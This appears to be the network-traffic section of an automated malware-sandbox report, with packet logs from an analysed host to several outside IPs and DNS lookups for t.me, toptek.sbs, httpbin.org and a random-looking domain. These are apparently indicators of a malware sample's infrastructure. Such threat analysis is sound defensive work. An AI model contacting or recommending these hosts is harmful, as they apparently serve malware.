Dec 21, 2024 10:15:43.766874075 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.766947985 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767002106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767035961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767066002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.767086983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.767596006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767631054 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767666101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767740011 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.767776012 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.767807961 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.768378019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.768431902 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.768438101 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.768466949 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.768490076 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.768520117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.768524885 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.768577099 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.769378901 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.769413948 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.769447088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.769474030 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.769481897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.769505024 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.769529104 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.770279884 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.770334005 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.770335913 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.770369053 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.770385981 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.770417929 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.770464897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.770518064 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.771218061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.771251917 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.771280050 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.771287918 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.771298885 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.771342993 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.771374941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.771430969 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.772106886 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.772183895 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.772185087 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.772238970 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.772253990 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.772309065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.772311926 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.772363901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.773166895 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.773199081 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.773225069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.773235083 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.773248911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.773273945 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.773298025 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.773320913 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.773953915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774012089 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.774075031 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774110079 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774136066 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.774146080 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774175882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.774194002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.774939060 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774974108 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.774998903 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775011063 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.775022984 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775064945 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775106907 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.775163889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775885105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.775918961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.775944948 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775954008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.775966883 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.775990963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.776005030 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.776041985 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.776798010 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.776833057 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.776860952 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.776866913 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.776882887 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.776902914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.776920080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.776952982 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.777772903 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.777827978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.777832985 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.777863979 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.777883053 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.777900934 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.777916908 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.777956963 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.778693914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.778727055 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.778753042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.778763056 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.778775930 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.778798103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.778811932 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.778846979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.779616117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.779650927 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.779676914 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.779685020 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.779695988 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.779721022 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.779751062 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.779772043 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.780524969 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.780559063 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.780585051 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.780594110 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.780605078 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.780647993 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.780661106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.780711889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.781450987 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.781486034 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.781511068 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.781521082 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.781538010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.781578064 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.781590939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.781645060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.782321930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.782419920 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.782423973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.782454014 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.782483101 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.782490015 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.782504082 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.782542944 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.783370972 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.783406019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.783432007 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.783441067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.783451080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.783477068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.783493996 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.783530951 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.784212112 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.784260035 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.784265995 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.784307003 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.784329891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.784353018 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.784356117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.784414053 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.785176039 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.785209894 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.785243988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.785268068 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.785316944 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.785327911 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.785383940 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.786139011 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.786173105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.786197901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.786210060 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.786218882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.786246061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.786269903 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.786307096 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.787018061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787070990 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787074089 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.787106037 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787125111 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.787163973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.787205935 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787261963 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.787935019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787988901 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.787996054 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.788023949 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.788052082 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.788069010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.788149118 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.788204908 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.788938046 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.788971901 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.788997889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.789031029 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.811521053 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.811657906 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.811692953 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.811728954 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.811901093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.811929941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.811984062 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.812000036 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.812020063 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.812052965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.812078953 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.838399887 CET	443	49850	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:43.842825890 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:43.843261003 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:43.843286037 CET	443	49850	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:43.844865084 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:43.844877005 CET	443	49850	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:43.868042946 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868159056 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868238926 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.868360043 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868388891 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868437052 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868459940 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.868465900 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.868514061 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.868536949 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.910655975 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.910816908 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.958759069 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.958816051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.958851099 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.958899021 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.958939075 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.958949089 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.959291935 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.959347010 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.959357977 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.959382057 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.959398985 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.959436893 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.959913969 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.959947109 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.959966898 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.959992886 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960005045 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960031033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960050106 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960086107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960711956 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960766077 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960767031 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960802078 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960820913 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960836887 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.960858107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.960891008 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.961652994 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.961688042 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.961721897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.961745024 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.961779118 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.961807013 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.961864948 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.962512016 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.962568045 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.962577105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.962610960 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.962654114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.962654114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.962713003 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.962768078 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.963531971 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.963567019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.963586092 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.963601112 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.963618040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.963639021 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.963640928 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.963691950 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.964394093 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.964443922 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.964446068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.964481115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.964500904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.964534044 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.964605093 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.964657068 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.965363026 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.965396881 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.965420961 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.965431929 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.965449095 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.965488911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.965498924 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.965549946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.966286898 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.966340065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.966342926 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.966373920 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.966396093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.966455936 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.966475964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.966506004 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.967269897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.967307091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.967359066 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.967369080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.967394114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.967422009 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.967447042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.968120098 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.968173027 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.968174934 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.968209028 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.968230963 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.968266964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.968374968 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.968430042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.969058037 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.969111919 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.969116926 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.969146013 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.969167948 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.969208002 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.969276905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.969335079 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.969961882 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970019102 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.970032930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970067024 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970097065 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.970119953 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.970237970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970307112 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.970947981 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970983028 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.970999956 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.971018076 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.971033096 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.971071959 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.971183062 CET	80	49844	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 10:15:15.781748056 CET	192.168.2.4	1.1.1.1	0xf7d	Standard query (0)	bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:32.539598942 CET	192.168.2.4	1.1.1.1	0xb0f0	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:34.914515972 CET	192.168.2.4	1.1.1.1	0xf0da	Standard query (0)	toptek.sbs	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:39.703774929 CET	192.168.2.4	1.1.1.1	0xc9a9	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
